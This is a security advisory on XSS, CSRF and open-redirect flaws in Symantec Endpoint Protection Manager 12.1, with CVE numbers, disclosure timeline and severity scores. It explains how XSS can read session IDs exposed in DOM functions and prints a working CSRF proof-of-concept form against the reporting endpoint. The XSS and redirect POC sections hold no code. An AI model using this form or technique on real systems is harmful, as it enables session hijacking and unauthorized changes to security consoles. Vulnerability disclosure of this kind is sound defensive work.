Symantec Endpoint Protection Manager 12.1 - Multiple Vulnerabilities





[+] Credits: John Page aka HYP3RLINX

[+] Website:

[+] Source:

[+] ISR: ApparitionSec


Symantec Endpoint Protection Manager and client v12.1

SEPM provides a centrally managed solution. It handles security policy
enforcement, host integrity checking (Symantec Network Access Control only),
and automated remediation over all clients. The policies functionality is
the heart of the Symantec software. Clients connect to the server to get the
latest policies, security settings, and software updates.

Vulnerability Type(s):
Multiple Cross Site Scripting (XSS)
Cross Site Request Forgeries (CSRF)
Open Redirect

CVE Reference(s):
CVE-2016-3652 / XSS
CVE-2016-3653 / CSRF
CVE-2016-5304 / Open Redirect

Vulnerability Details:

The management console for SEPM contains a number of security
vulnerabilities that could be used by a lower-privileged user or by
an unauthorized user to elevate privilege or gain access to unauthorized
information on the management server. Exploitation attempts of
these vulnerabilities requires access to the SEP Management console.


Exploit code(s):

In this case XSS can bypass the "http-only" cookie protection because the
SEPM application writes and stores the session ID within various
javascript functions used by the application within the DOM thereby
exposing them directly to the XSS attack.

1) createModalDialogFromURL
2) createWindowFromURL
3) createWindowFromForm
4) createIEWindowFromForm

So all we need to do is alert(createModalDialogFromURL) anyone one of them
(functions) an it will leak the session ID essentially throwing the
HttpOnly secure cookie protection flag into the garbage.


XSS POC Defeat http-only flag and access PHPSESSID:


Open Redirect in external URL .php script:

A reporting URL used to route generated reports externally to any
authorized URL is susceptible to an open redirect vulnerability
that could have allowed an authorized but less-privileged user to redirect
an unsuspecting privileged user to an external URL to
attempt further exploitation, e.g. phishing.

If a victim clicks on a link supplied by an attacker



Cross Site Request Forgery (CSRF):

Multiple Cross Site Request Forgery exists in couple of places within this
version of SEPM below is an example of sending scheduled report to
an remote attackers email, if current logged in user visits malicious
webpage or clicks infected link etc...

Symantec Reporting Admin CSRF POC:

<form id="PWN" action="https://localhost:8445/Reporting/Reports/sr-save.php"
method="POST" />
<input type="hidden" name="ReportName" value="HELL" />
<input type="hidden" name="Description" value="PWNED!" />
<input type="hidden" name="DisableReportSchedule" value="on" />
<input type="hidden" name="NewReport" value="Y" />
<input type="hidden" name="reporttype" value="1" />
<input type="hidden" name="FILTERNAME" value="Default" />
<input type="hidden" name="runEvery" value="1" />
<input type="hidden" name="repeat" value="weekly" />
<input type="hidden" name="datesched1" value="02%2F10%2F2016" />
<input type="hidden" name="datesched2" value="02%2F10%2F2016" />
<input type="hidden" name="filHourSchedule" value="16" />
<input type="hidden" name="Schedulehour" value="16" />
<input type="hidden" name="filMinSchedule" value="56" />
<input type="hidden" name="Scheduleminute" value="56" />
<input type="hidden" name="sysadmin" value="off" />
<input type="hidden" name="sendto" value="" />
<input type="hidden" name="updatelastrun" value="0" />
<input type="hidden" name="HISTORYCONFIG_IDX" value="" />
<input type="hidden" name="ReportPrefix" value="Y" />
<input type="hidden" name="report_idx" value="Y-0" />

Disclosure Timeline:
Vendor Notification: Febuary 11, 2016
Vendor Acknowledges Report: Febuary 12, 2016
Vendor Releases Fix: June 28, 2016
June 29, 2016 : Public Disclosure

Exploitation Technique:

Severity Level(s):
Cross Site Scripting
v2 6.8
v3 6.7

Cross Site Request Forgery
v2 7.0
v3 7.1

Open Redirect
v2 4.1
v3 4.1

[+] Disclaimer
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prohibits any malicious use of security related information
or exploits by the author or elsewhere.